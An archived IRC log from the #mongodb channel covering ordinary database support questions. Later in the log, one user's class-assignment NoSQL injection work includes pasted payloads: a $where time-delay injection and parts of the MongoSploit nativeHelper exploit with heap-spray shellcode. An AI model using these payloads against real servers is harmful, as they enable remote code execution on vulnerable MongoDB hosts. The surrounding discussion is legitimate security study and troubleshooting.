Log file Viewer
#mongodb logs for Tuesday the 21st of June, 2016
[01:16:12] <UberDuper> I'm working with fairly memory constrained hosts and I'm noticing that after an upgrade to 3.0.x mmapv1 those hosts are using considerable amounts of swap space.
[01:29:20] <Boomtime> @UberDuper: you are running mmapv1 storage engine on 3.0 and it's using swap space?
[01:29:21] <UberDuper> When I read the mongo documentation about the journal, I see references to shared and private views. Am I correct to assume that means mmap flags MAP_PRIVATE and MAP_SHARED?
[01:32:49] <UberDuper> I'm looking at a replset that under heavy update load sees a very large spike in page ins/outs from swap. Generally resulting in significant performance impact up to and including failed connections and heartbeats which result in elections.
[01:37:36] <Boomtime> it's possible that is what is going on, but you should be aware that once swapping is required, anything valid is up for grabs - so network buffers, threads stacks and the like could all end up being swapped as well
[01:38:05] <Boomtime> memory-mapping of the main datastore will never end up in swap, but it's also a prime candidate for being ejected
[01:38:31] <Boomtime> if you find literally anything else being sent to swap, instead of the main datastore being ejected, then your system is out of memory
[01:39:18] <UberDuper> That's not exactly true. Being OOM is not a requirement for the kernel to swap.
[01:41:25] <Boomtime> why would the system swap out stuff that was in use unless it was compelled to?
[01:41:43] <UberDuper> I have. I haven't gone all the way down to 1 yet. I'm still testing out vm tuning options but I'm trying to understand why/what this is swapping in the first place.
[01:42:49] <UberDuper> The swappiness tunable will cause the kernel to opportunistically swap to varying degrees.
[01:43:28] <Boomtime> who cares? swap is what the system uses to recover physical memory short of actually terminating the process involved - if swap is being used for stashing memory regions in active use then you have insufficient memory for what you're attempting
[01:52:01] <UberDuper> Andy comments in that ticket that the private and shared views are only allowed to differ by 100MB of data.
[01:53:43] <ss23> Is there any index or way to optimise returning results of the form .*foo? That is, I have 60 million collections with a field email, and I want to be able to quickl return all @foo.com. The standard btree index doesn't seem to be giving decent results
[01:54:02] <ss23> (I'm using a regex search, /foo$/, if that makes a difference, but I can use whatever works best)
[01:55:12] <Boomtime> a standard index won't do any good - it'll make it 'slightly' better but not by much because it just a btree as you know - a regex that isn't left anchored requires scanning every leaf anyway
[01:55:43] <ss23> Boomtime: What about a reverse index? From memory mysql supports just flipping it, if you plan on doing $ regexes instead of ^
[01:55:57] <ss23> I had problems with the text index because it tokenizes etc, so it wasn't giving "Accurate" results
[01:58:04] <ss23> Boomtime: I can easily just add a field for reverseEmail, but I was hoping there was an index to take care of it
[01:59:16] <UberDuper> If you just need to query on domain, a new field containing the domain would probably be easier.
[01:59:17] <Boomtime> @ss23: by a reverse index, you mean the string value is reversed before use in the btree right? - that would be an interesting idea, consider a feature request
[01:59:59] <Boomtime> i'd recommend UberDuper idea too if you have control of your schema and can apply such a change
[02:01:16] <ss23> The idea is generalisable to more than just an email field, and I'm going to need it on more than just emali eventually (a reverse search), but I see the advantage
[02:03:19] <UberDuper> Wonder how the journal commit to the data file is actually performed. I don't think you can msync a private view.
[02:06:14] <Boomtime> you're the one that wants to know - i don't know why it matters to you, but if it does then it's up to you to read about it - it's all there for you
[02:09:06] <UberDuper> It matters to me because I'm trying to solve a pervasive problem that's crept up with 3.0.x
[08:37:06] <chujozaur> Hello, do you know what I can do if a newly joined replicaset node got stuck in recovering state?
[08:38:52] <chujozaur> these are replication statuses from my machines http://pastebin.com/raw/pLw0ywJ7
[10:23:26] <aldwinaldwin> Hello, does mongos have any cache stored somewhere? .... (my stupidity : i changed something in config.chunks and messed up the chunks ) ... try to fix: (1) mongodump -d mydatabase (2) stop all mongos (3) stop mongod/mongocfg + remove directories (4) restart mongod+rs.conf(..)+restart mongocfg (5) restart all mongos (6) addShard+enableSharding('mydb')+createIndexes+createShardKeys (7) mongorest
[10:25:51] <aldwinaldwin> ... so, clean database and clean configserver and mongos should resync with config server and data should be imported cleanly ... still, the chunks get messed up after a while.
[10:26:38] <aldwinaldwin> ... when i do the import and indexing and sharding in a database with another databasename ... everything is clean and stays correct.
[10:27:48] <aldwinaldwin> ... my question is, where else can the corrupt config be cached somewhere.
[10:30:26] <Zelest> Derick, awesome! got quite a lot to do today, but will have a look at it in a day or so :) Thanks for the heads up :)
[11:24:53] <adrian_lc> hi, I need to move a big in house single node server without authentication to the cloud. I'm thinking on enabling authentication at the same time but it will probably limit the migration options right? Would it be easier to enable auth afterwards after moving all the data?
[13:59:30] <visualshock> Just getting started with mongodb. Let's say I have an user, and that user can create notes. Should I have two collections(users and notes) or one collection users, with notes as a property?
[14:03:57] <visualshock> ok thanks. I was just wondering because everything the user logs in, all I want to do is to get the notes.
[14:13:45] <GothAlice> StephenLynx: My latest aggregation work has left me feeling dirty. XD https://gist.github.com/amcgregor/d6a507cfba5eed0606d6cc78c2384d75?ts=4
[14:14:28] <GothAlice> The repeated $lookup / $unwind pattern would seem to indicate to me something that should be added to $lookup as an option, too. XP
[14:18:17] <cheeser> awesome. i'm reworking morphia's aggregation api. i'm going to to use this as an example to build/test the api. :)
[14:18:19] <GothAlice> And this is way, way, way better than the application code trying to simulate this, as it was before. XD
[14:18:54] <GothAlice> cheeser: As a note, there's a $match stage missing that gets prefixed onto the aggregate automatically. Technically this aggregate is generated from database structures automatically by the reporting engine we built.
[14:19:46] <GothAlice> (That initial $match prefix does things like company filtering, date range filtering, etc., using a modular system of "report extensions" to manipulate the aggregate.)
[14:19:51] <cheeser> well, so long as my java api emits a document that matches this structure, i'm less concerned about the database returning anything. ;)
[14:36:55] <GothAlice> Oh, other note, cheeser: the pricePer and totalPrice fields for each returned document are further processed application-side when streamed to apply the "reporting price" mutator defined by the associated package, if any. (operation + value pairs, such as -$20, -20%, *0.5, =$2.15, etc.) Haven't figured out a good way to get MongoDB to apply that itself, yet. ;)
[14:45:09] <GothAlice> StephenLynx: Hehehe. That was my thought, exactly, when working this out in the first place. XP
[16:12:47] <GothAlice> Hmm. Trying to fix a bug with the aggregate I linked earlier (which is actually why I linked it… I get distracted too easily ;) in situations where the one of the $lookup results is empty (i.e. no discount applied), the subsequent $unwind on the empty array will drop the document. How to avoid?
[16:22:19] <GothAlice> Temporarily removal of the $unwind there and update of references to take the first array element instead is the approach, but it's pretty hacky. (Report.objects(columns__source='discount.t').update(set__columns__S__source='discount.0.t') is easy enough, though.)
[16:42:41] <GothAlice> Waitaminute. Is it just me, or did MonogDB go from using SpiderMonkey in the early days, to using V8 around 2.6 or so, then has switched back to SpiderMonkey for 3.2?
[16:43:23] <Derick> https://engineering.mongodb.com/post/code-generating-away-the-boilerplate-in-our-migration-back-to-spidermonkey/
[16:45:37] <GothAlice> "If creativity emerges from constraint, then embedding a JavaScript engine into your database server is a recipe for creativity." — True. At work we're migrating to ES5 generated by Babel of ES6 translated directly from Python code (allowing code that runs both server and client side to be written in Python), but also use a system to allow us to run Babel, Autoprefixer, and friends without any external Node dependency at all, directly
[16:46:32] <dude9> When MongoDB returns errors on a page, does anyone happen to know if the stuff highlighted in pink is what's causing the error?
[16:47:19] <Zelest> That is clearly a bug.. every awesome database server should have pink errors :(
[16:47:28] <GothAlice> Ah, but you did bother to make JS exceptions interchangeable; those aren't proxied in my setup.
[16:48:02] <GothAlice> dude9: There's way more than MongoDB going on to present you with "pink errors". Those would be generated by your web framework.
[16:51:02] <GothAlice> oky: We're using a fork of https://github.com/JdeH/Transcrypt updated to emit ES6 at work, which is a Python AST → JS transpiler.
[16:52:16] <GothAlice> https://github.com/azazel75/metapensiero.pj is another promising one, but with different levels of Python language support (it's not quite to the same place in terms of builtins support that Transcrypt is)
[16:53:10] <GothAlice> https://gist.github.com/amcgregor/9040e2e6be9249bcd73c?ts=4 being an early prototype of the SPA navigation manager. (That's JS.)
[16:53:27] <Zelest> If I have a lot of sub-documents, can I only return the sub-documents matching a certain thing?
[16:54:21] <GothAlice> oky: For the reverse, running JS code within Python, https://github.com/amol-/dukpy < this is Python-bound copy of the Ducktape embedded JS runtime with bidirectional RPC support.
[16:55:09] <GothAlice> Zelest: Yes, sorta. Two ways to do it: if there's only one sub-document you are looking for, $elemMatch and the $ projection operator will help you out. If there's multiple, then $unwind and $match in an aggregate query (optionally with a $group to package them back up under a single document) would do.
[16:55:50] <oky> GothAlice: i'm curious about how the UI composition works - is event handling also in python? and can you nest UI components?
[16:56:59] <GothAlice> Zelest: I would not recommend that approach. Using $elemMatch for single value lookup and aggregate $unwind/$match for the multiple case allows the processing of data to happen closest to the data, saving transferring of data you'll only throw away to the client.
[16:58:05] <GothAlice> It's not as complicated as it sounds; aggregates are a very simple linear processing pipeline. Check out the documentation for the two approaches: https://docs.mongodb.com/manual/reference/operator/projection/elemMatch/ and https://docs.mongodb.com/manual/reference/operator/aggregation/unwind/
[17:00:06] <GothAlice> oky: UI presentation is entirely ancillary to the fact that JS code is being written as Python code. In our at-work SPA case we use server-side DOM construction (template engines, common internationalization code, etc.) and inject the results client-side, with heavy use of JS eventing and bubbling. Widgets have managers, managers may be instanced multiple times within a given "view".
[17:02:01] <GothAlice> oky: Ancillary: beside the point, additional, subsidiary. The linked gist example NavigationManager singleton illustrates the basic API: constructor to configure, start, bindEvents, with callbacks bound to the manager instance.
[17:02:16] <oky> i guess what i was asking is, can you have Python classes that represent UI components and then nest them inside each other. then you render and send to client. at which point, you revive those same UI components and re-instantiate your python classes (with the same parent child hierarchy)
[17:02:42] <oky> so you would have a real running program, and not a program that is making the DOM interactive
[17:03:38] <GothAlice> (And I suspect revolves around a misunderstanding of exactly what's going on, here. The Python code is translated into JS for execution client-side; this is no different than simply writing JavaScript in the first place, except it's using Python syntax, like CoffeeScript is just a different syntax.)
[17:04:16] <oky> GothAlice: maybe it is a misunderstanding... could be. fwiw, i've worked on something similar to the system you've talked about before and was curious if you can compose your UI elements and re-instantiate on client
[17:07:47] <oky> i'm reading your gist now, looks promising! i am filling in some blanks from your example, mostly it looks like a page router (that does server side requests and does "quick" transitions without browser page loads) - very cool
[17:08:55] <GothAlice> oky: With the rider "can" in there, the only answer that can possibly be given is "sure"; you seem to be inferring some context or property about this system I'm not seeing relating to persistence or where the code is being run, though. Here's another example: https://gist.github.com/amcgregor/c6ae92325a941ba70568?ts=4 < a "CMS" (component management, not quite content management) export from MongoDB.
[17:11:04] <oky> GothAlice: how is a component (and its hierarchy specified?) - it's nested JSON inside mongo?
[17:12:13] <GothAlice> oky: In the XML it's relatively easy to identify what's going on at a glance: lower-case XML tags are fields, ones with InitialCamelCase are documents or embedded documents. Asset (Page, Form, …) are top-level in the "assets" collection.
[17:12:29] <saml> upon POST/PUT, i parse the payload (xml), extracting useful info like image dimension.. and store useful info as separate subdocument.
[17:12:56] <saml> because i need to query all webpages that contain images larger than certain dimension for some rss feed
[17:13:15] <oky> GothAlice: yeah, i think XML as view layer can have advantages / disadvantages. biggest advantage: anyone can write / add to the view layer (not just eng) and that's really a big positive
[17:13:16] <GothAlice> oky: Nesting of one top-level document inside another is used to denote parent/child relationship.
[17:15:49] <GothAlice> oky: Quite so. The ability to assign a different server-side controller to an asset is kinda nuts; it lets you override individual Page handlers, amongst other oddities. It's almost-but-not-quite "your controllers are stored in MongoDB". :)
[17:16:34] <oky> GothAlice: what does 'asset' mean, again? is that a component? (component code + static resources0
[17:18:09] <GothAlice> Asset is the general name for web-accessible resources (i.e. the thing a URI points to), broken down into various sub-classes for different types of resource, such as Page (auto-layout content blocks), File (upload), Form, etc. Assets may embed other assets within themselves, i.e. a Page including site-standard header and footer, for example.
[17:19:49] <Zelest> GothAlice, I have an array called "relations" with documents in.. each document have a "status" field.. all i wanna do is counting how many sub-documents have the status "new" :(
[17:20:55] <GothAlice> oky: I'll leave you with these: http://s.webcore.io/110I0V2e0r1x (inline content editing, even of "included" blocks) and http://s.webcore.io/2z0z1x0Y3j3x (drag and drop block organization) — you can see how this little-c cMS (component management system) lends itself well towards being used as a big-C Content Management System. ;)
[17:22:27] <GothAlice> Zelest: That's trivial with aggregation. db.foo.aggregate([…, {$unwind: "relations"}, {$match: {"relations.status": "new"}}, {$group: {_id: "$_id", new_count: {$count: 1}}})
[17:23:59] <GothAlice> Zelest: With aggregation it's as simple as "the output of one stage is fed into the next stage". The output of $unwind is a document per array element, fed into the $match which filters to just documents with the desired array element status.
[17:24:18] <GothAlice> Zelest: Matching documents are then fed into $group to re-combine back into the one-document-per-original-document (instead of one-document-per-sub-document coming from the $unwind) and count.
[17:25:07] <oky> re: components: the scenario i was imagining is something like: you build your app using your favorite widget toolkit (on the server) in python. then you render it (to HTML + revival instructions). then server sends the rendered HTML + instructions + some data to client, which displays the HTML and re-instantiates the app (with its component hierarchy living in RAM, not the DOM) and continues executing the
[17:26:28] <GothAlice> oky: "living in RAM" — wat. The DOM is in RAM. The DOM is the browser presentation of content and UI. Without DOM, you have no UI, unless you're rolling the entire thing as a pseudo-VNC or X11-proto with the server side drawing to a client-side canvas or something.
[17:27:05] <Zelest> GothAlice, hmms.. I sort of understand.. though, it throws me errors... ("path option to $unwind stage should be prefixed with a '$': relations")
[17:27:35] <GothAlice> Zelest: Ah, right, I'm bad, sorry! When using a field as the source for data in aggregates, yes, you need to prefix the field name with a $.
[17:27:52] <GothAlice> Zelest: db.foo.aggregate([…, {$unwind: "$relations"}, {$match: {"relations.status": "new"}}, {$group: {_id: "$_id", new_count: {$count: 1}}})
[17:28:19] <GothAlice> oky: I honestly do not grok why there is a distinction. The DOM is part of your app.
[17:29:03] <GothAlice> (If the DOM is wrong, then the "app" is wrong. Having some structure elsewhere be right does nothing to eliminate sync issues, there, so why have sync issues at all?)
[17:30:04] <oky> GothAlice: if you consider server rendered + JS event handling vs. client side single page app, you can tell there is a difference in how the DOM is being used
[17:30:23] <GothAlice> Zelest: https://docs.mongodb.com/manual/reference/operator/aggregation/group/
[17:30:35] <oky> GothAlice: in more modern client apps, DOM is only a reflection of the JS app - in older apps, DOM is the app state
[17:31:28] <GothAlice> No worries. (It's just there's on-topic going on at the same time, or I wouldn't mention it. ;)
[17:34:10] <GothAlice> Zelest: That's because I haven't had enough caffeine, so apologies again. https://docs.mongodb.com/manual/reference/operator/aggregation/sum/#grp._S_sum — $sum, not $count.
[17:42:51] <GothAlice> Zelest: You'd need to add the fields you want to "keep" to the $group projection.
[17:47:49] <Zelest> the group aggregate field 'name' must be defined as an expression inside an object
[17:48:10] <Zelest> and if I try to make an expression of it, it complains that it's an unknown operator..
[18:03:08] <poz2k4444> hi guys, I'm using mongo=connector to sync mongo with elasticsearch, I'm also setting up a replicaset cluster with three servers, my question is: if the server where the mainAddress is pinted goes down, another server is going to take over, but does mongo-connector knows that?
[18:08:20] <dude9> I'm working on a class assignment and I'm supposed to be building a better understanding of NOSQL injection. My instructor put up a dummy website that I've figured out I can put in the characters '; JAVASCRIPT' and I realized I can run things.
[18:08:59] <dude9> That being said, I'm next supposed to use https://www.exploit-db.com/exploits/24947/ this here to get into it. But when I put in my query I get back record undefined, collection = Collection(Database(MongoClient('localhost', 27017), u'test_database'), u'london_garages'), collection.find = <bound method Collection.find of Collection(Data...', 27017), u'test_database'), u'london_garages')>, where = {'$where': 'this.CompanyName == \'\';
[18:10:02] <dude9> I don't understand why the backslashes are coming out in the error and I was hoping someone might be able to point me in the right direction
[18:11:01] <dude9> Here's what the error looks like (the latter part): where = {'$where': 'this.CompanyName == \'\';nativeHelper.apply({"x" :...ce to be"+"134568556"+"538976288"+"138768728"])\'\''}
[18:11:37] <dude9> @GothAlice: Also yes ouch. I've been slamming my head on my desk for hours trying to figure this out hahaha
[18:15:52] <dude9> https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/
[18:18:41] <dude9> I don't have control of mongodb, but I have a vulnerable python CGI file I can submit queries to. I'm not exactly sure of the version, but I know this exploit works
[18:19:03] <dude9> For example, I know this query runs: '; var date=new Date(); do{curDate = new Date();}while(curDate-date<10000) '
[18:19:36] <dude9> But when I try the exploit query there is an error in the last line (the line with nativelhelper)
[18:25:26] <dude9> This one works: '; var date=new Date(); do{curDate = new Date();}while(curDate-date<10000) '
[18:25:32] <dude9> This one doesn't: '; nativeHelper.apply({"x" : 0x836e204}, ["A"+"137697318"+"MongoSploit!"+"138768728"+"sthack is a nice place to be"+"134568556"+"538976288"+"138768728"]) '
[18:31:11] <dude9> saml: I worked backwards '; nativeHelper({"x" : 0x836e204}) ' throws the same error, but '; nativeHelper()' does not
[18:33:15] <dude9> saml: You sir are a genius. Now the next problem I have to solve is what did I just break by removing those quotes lol
[18:35:37] <dude9> The exploit up to here it accepts just fine: shellcode=unescape("%udb31%ue3f7%u4353%u6a53%ub002%u8966%ucde1%u9780%u685b%u0b0a%u3c00%u0268%u2700%u890f%u6ae1%u5866%u5150%u8957%u43e1%u80cd%u07b2%u00b9%u0010%u8900%uc1e3%u0ceb%ue3c1%ub00c%ucd7d%u5b80%ue189%ub699%ub00c%ucd03%uff80%u41e1"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarra
[18:35:57] <dude9> But it doesn't like nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"])
[18:43:14] <dude9> saml: Silly question, what do you mean by object literal? I know what an object is, but I'm not familiar with object literal
[18:46:40] <dude9> saml: Gotcha, so it's just a comma separated list of name value pairs sort of deal?
[19:35:31] <GothAlice> dude9: gist.github.com is generally more accessible, FYI. pastebin tends to be used by botnet C&C, so is often blocked by policy.
[20:39:53] <Zelest> GothAlice, trying: db.items.aggregate([{$match: {user_id: ObjectId("5748514c499dda9b18348043")}}, {$unwind: '$relations'}, {$match: {"relations.status": 'new'}}, {$group: {_id: "$_id", total: {$sum: 1}}, 'name': 'name'}]) .. and it doesn't add 'name', it throws the following:
[20:40:33] <Zelest> "the group aggregate field 'name' must be defined as an expression inside an object"
[20:41:03] <GothAlice> The right-hand side of aggregate projections (which $group is a special type of) needs to start with $ if you are referring to a field in the document being processed.
[20:41:20] <GothAlice> "name" is meaningless to MongoDB, "$name" means "the name field from the current document".
[20:45:24] <GothAlice> Waitaminute. Drop the name bit from that. What's the result with the group only handling _id and the total?
[20:46:53] <Zelest> i could just fetch all rows and make an array of it that in the app.. but that feels ugly :P
[20:54:21] <GothAlice> First, "name" isn't actually a thing in your data. You probably mean "title".
[20:55:21] <GothAlice> Second, I forgot that $group doesn't know what to do by default with repeated values, so you need to tell it explicitly, or store the values you care about from the original document within the grouped _id.
[20:56:03] <GothAlice> Two options, then. {$group: {_id: {pk: "$_id", title: "$title"}, count: {$sum: 1}} is the first option.
[20:56:41] <GothAlice> This will preserve the title within the _id of the group. (Since _id and title are matched, this is a-ok; it won't introduce any magical new groups or anything.)
[20:57:16] <GothAlice> The second option is to tell group specifically how to project: {$group: {_id: "$_id", title: {$first: "$title"}, count: {$sum: 1}}
[20:57:44] <GothAlice> (Reference https://docs.mongodb.com/manual/reference/operator/aggregation/group/#accumulator-operator )
[20:58:20] <Zelest> Ah, yeah, that looks a bit more sexy.. but what happens if two titles are equal?
[20:58:47] <GothAlice> Correct; you're always grouping on _id here because you're wanting to "un-do" the $unroll.
[21:01:33] <GothAlice> It does exactly what the name says: it takes the first value found for documents within a group.
[21:01:40] <GothAlice> Hehe, also, to understand what's going on here, run your aggregate query bit by bit. (Like, run just the initial $match, then the $match and the $unwind, then the $match $unwind $match, …) It'll possibly be very helpful in groking what's going on.